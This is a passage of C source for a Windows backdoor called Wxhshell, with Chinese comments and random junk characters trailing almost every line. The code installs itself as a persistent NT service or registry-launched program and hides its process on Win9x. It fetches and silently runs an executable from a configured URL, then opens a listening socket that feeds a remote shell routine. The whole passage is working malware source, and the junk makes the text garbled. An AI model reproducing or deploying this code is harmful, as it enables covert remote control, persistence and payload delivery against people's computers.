DWORD BasePriority; JQ;.+5
N<K
ULONG UniqueProcessId; F\hVunPVx
ULONG InheritedFromUniqueProcessId; 6yBd9= 3K
} PROCESS_BASIC_INFORMATION; Z^}[CQ&Am
{/(.Bpld
PROCNTQSIP NtQueryInformationProcess; (t\U5-w
IRdR3X56
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (c&%1bJ
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IBvn
q8\
e/_QS}OA
HANDLE hProcess; pGfGGY>i%
PROCESS_BASIC_INFORMATION pbi; #?k</~s6M`
|d z2Drc
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0WfnX>(C7R
if(NULL == hInst ) return 0; eM
5#L,Y{
z@J>A![m
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kt0xR)gU
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #s81k@#X
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <[D>[
|AacV
if (!NtQueryInformationProcess) return 0; RJUIB
NM^uP+uS
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wx[m-\
if(!hProcess) return 0; ~#4FL<W
8MI8~
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *`|xa@1v`
*Wvk~
CloseHandle(hProcess); @ZjO#%Ep/
Z:<an+v|5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -)B_o#2=2
if(hProcess==NULL) return 0; gwsIzYV
PqL.^
HMODULE hMod; jVLJqWP'!
char procName[255]; Xz)qtDN|(
unsigned long cbNeeded; <5mv8'{L
w3"L5;oH
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |:&O!36
y.I&x#(^
CloseHandle(hProcess); MoQ\~/Z|
|IV7g*J89
if(strstr(procName,"services")) return 1; // 以服务启动 |`Noj+T47I
(hdu+^Qj=
return 0; // 注册表启动 SASLeGaV
} jI0gf&v8
c|`$
h
// 主模块 }IZw6KiN
int StartWxhshell(LPSTR lpCmdLine) _{;_wwz
{ 9PACXW0
SOCKET wsl; hd i0YL
BOOL val=TRUE; lZ7
$DGe
int port=0; $/|) ,n
struct sockaddr_in door; i9De+3VqKK
@&EIH,c
if(wscfg.ws_autoins) Install(); ,Pcg+^A
[FrLxU
port=atoi(lpCmdLine); 4p-"1 c$
/gl8w-6
if(port<=0) port=wscfg.ws_port; 0^dYu/i5
|6b~c{bt
WSADATA data; }% q-9
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; enZZ+|h
cV0CI&
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4oH ,_sr
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :{ZwzJ
door.sin_family = AF_INET; Q!qD3<?5
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *Cf!p\7!
door.sin_port = htons(port); DpvHIE:W
d"miPR
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %7}j|eS)G
closesocket(wsl); 9]w?mHslE
return 1; NU?<bIQ
} p%&$%yz$
{+7FBdxVB
if(listen(wsl,2) == INVALID_SOCKET) { }.&;NgZS
closesocket(wsl); 6
iMJ0
return 1; c`p'5qz
} DBB&6~;?
Wxhshell(wsl); fglfnx0{
WSACleanup(); A]5];c
YS){N=g&'
return 0; ^i Jyo&I
1=z[U|&R
} %b<W]HwA
_p%n%Oce
// 以NT服务方式启动 pvsa?z;rP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) M*ZN]9{^.
{ Y
0Fq-H
DWORD status = 0; @`C'tfG/4
DWORD specificError = 0xfffffff; D?"P\b[/
7+hF1eoI
serviceStatus.dwServiceType = SERVICE_WIN32; viUJ4Pn
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1w(3!Ps+
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j|wN7@Zc
serviceStatus.dwWin32ExitCode = 0; [8IO0lul+
serviceStatus.dwServiceSpecificExitCode = 0; wB[f%mHs
serviceStatus.dwCheckPoint = 0; c+e?xXCEAz
serviceStatus.dwWaitHint = 0; W"_<SYVJ
SU4i'o
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]#^v754X^T
if (hServiceStatusHandle==0) return; ]S[/a
.4[3r[
status = GetLastError(); T\bP8D
if (status!=NO_ERROR) ]q{_i
{ QCb%d'_w+
serviceStatus.dwCurrentState = SERVICE_STOPPED; uf#h~;B
serviceStatus.dwCheckPoint = 0; )]FXUz|;
serviceStatus.dwWaitHint = 0; &`v?oN9$
serviceStatus.dwWin32ExitCode = status; UAhWJ$(C
serviceStatus.dwServiceSpecificExitCode = specificError; MkoK(m{7
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r>peKo[X(
return; 'WE"$1
} CAC4A
3MNM<Ih
serviceStatus.dwCurrentState = SERVICE_RUNNING; "W%YsN0
serviceStatus.dwCheckPoint = 0; A|
A#|D
serviceStatus.dwWaitHint = 0; wV==sV
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C&H'?0Y@
} 5X)M)"rq;V
*$-X&.h[
// 处理NT服务事件,比如:启动、停止 =X7kADRq
VOID WINAPI NTServiceHandler(DWORD fdwControl) %eg +.
{ IJGw<cB]+
switch(fdwControl) M=uT8JB
{ gtu<#h(
case SERVICE_CONTROL_STOP: 4/`;(*]Fv
serviceStatus.dwWin32ExitCode = 0; Z>g>OPu
serviceStatus.dwCurrentState = SERVICE_STOPPED; rx2'].
serviceStatus.dwCheckPoint = 0; !Z:XSF[T
serviceStatus.dwWaitHint = 0; VnsV&cx
{ v
f{{z%3T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?PMbbqa0
} +`k30-<P
return; 3PU_STSix
case SERVICE_CONTROL_PAUSE: /"?DOsJ.
serviceStatus.dwCurrentState = SERVICE_PAUSED; W<prY
break; mW%8`$rVEO
case SERVICE_CONTROL_CONTINUE: F6[F~^9D
serviceStatus.dwCurrentState = SERVICE_RUNNING; uW!XzX['
break; MmjZq
case SERVICE_CONTROL_INTERROGATE: lxL.ztL
break; ^%9oeT{
}; /Rq\Mgb
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "x=\mA#`
} .A<Hk1(-)
t!qLgJ5%y
// 标准应用程序主函数 %}9tU>?F#
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) {V
QGfN
{ f_S$CFa@
6Bjo9,L
// 获取操作系统版本 }OAU5P!rp
OsIsNt=GetOsVer(); hbx4[Pf
GetModuleFileName(NULL,ExeFile,MAX_PATH); Cj8&wz}ez
`w:kY9
// 从命令行安装 9hIKx:XCg
if(strpbrk(lpCmdLine,"iI")) Install(); Ldz]FB|
WDIin6u-
// 下载执行文件 *{w0=J[15
if(wscfg.ws_downexe) { (^}t
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?lsK?>uU
WinExec(wscfg.ws_filenam,SW_HIDE); .u7}p#
} )C8^'*!
w g?}c ;
if(!OsIsNt) { (46'#E z[F
// 如果时win9x,隐藏进程并且设置为注册表启动 $3HqVqF^R
HideProc(); *XhlIQ
StartWxhshell(lpCmdLine); = ){G
} gE2(E0H
else /fp8tL2Y
if(StartFromService()) 3E|||3rf
// 以服务方式启动 fI)XV7,X
StartServiceCtrlDispatcher(DispatchTable); bN.
G%1
else O0#[hY,
// 普通方式启动 |})s 0TU
StartWxhshell(lpCmdLine); lrv-[}}
0#J~@1Gf
return 0; 1z6aMd6.
}